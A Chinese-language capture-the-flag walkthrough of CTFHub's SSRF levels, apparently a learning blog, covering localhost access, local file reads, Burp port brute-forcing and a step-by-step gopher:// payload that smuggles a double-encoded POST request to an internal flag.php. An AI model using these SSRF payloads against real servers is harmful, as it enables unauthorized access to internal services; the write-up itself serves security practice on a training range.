文章目录
- 前言
- 关卡、内网访问
- 关卡、伪协议读取文件
- 关卡、端口扫描
- 关卡、POST
- 1、使用http协议查看本地的flag.php文件
- 2、使用burp抓包,并发送到Repeater模块进行操作
- 3、构造一个简单的POST请求:
- 4、对构造的post请求进行url编码
- 第一次编码:
- 对第一次编码的换行符进行处理:
- 第二次编码:
- 5、把编码后的url拼接,然后发送
前言
靶场地址在:https://www.ctfhub.com/#/user/login

使用工具:
Burp Suite Professional抓包工具
关卡、内网访问

直接拼接:http://127.0.0.1/flag.php

通关。
关卡、伪协议读取文件

输入window的正确地址:/var/www/html/flag.php

有东西,查看一下页面源码

通关。
关卡、端口扫描

使用burp抓个包

然后对端口进行爆破扫描

扫出了8262端口有情况,登录看看

通关。
关卡、POST

题目这里说了使用跟踪302跳转,这就要求使用gopher协议来解答,gopher可以理解为古早版本的http请求。
1、使用http协议查看本地的flag.php文件

查看页面源码:

发现这里有一个key=c6dd59e90eebad8e3b6bb36df8e12188。
2、使用burp抓包,并发送到Repeater模块进行操作

3、构造一个简单的POST请求:
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=c6dd59e90eebad8e3b6bb36df8e12188
注意:Content-Length如果存在并且有效地话,则必须和消息内容的传输长度完全一致。这里“key=c6dd59e90eebad8e3b6bb36df8e12188”的长度就是36。
4、对构造的post请求进行url编码
第一次编码:

POST%20%2Fflag.php%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%3A80%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AContent-Length%3A%2036%0A%0Akey%3Dc6dd59e90eebad8e3b6bb36df8e12188
对第一次编码的换行符进行处理:
对换行的处理。如果你的POST请求编码出来的换行是%0A,就需要把%0A改成%0D%0A

POST%20%2Fflag.php%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Akey%3Dc6dd59e90eebad8e3b6bb36df8e12188
第二次编码:

POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Dc6dd59e90eebad8e3b6bb36df8e12188
5、把编码后的url拼接,然后发送
注意:url在编码内容的前面有一个下划线,这个不能省略。
gopher://127.0.0.1:80/
_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Dc6dd59e90eebad8e3b6bb36df8e12188

通关。



















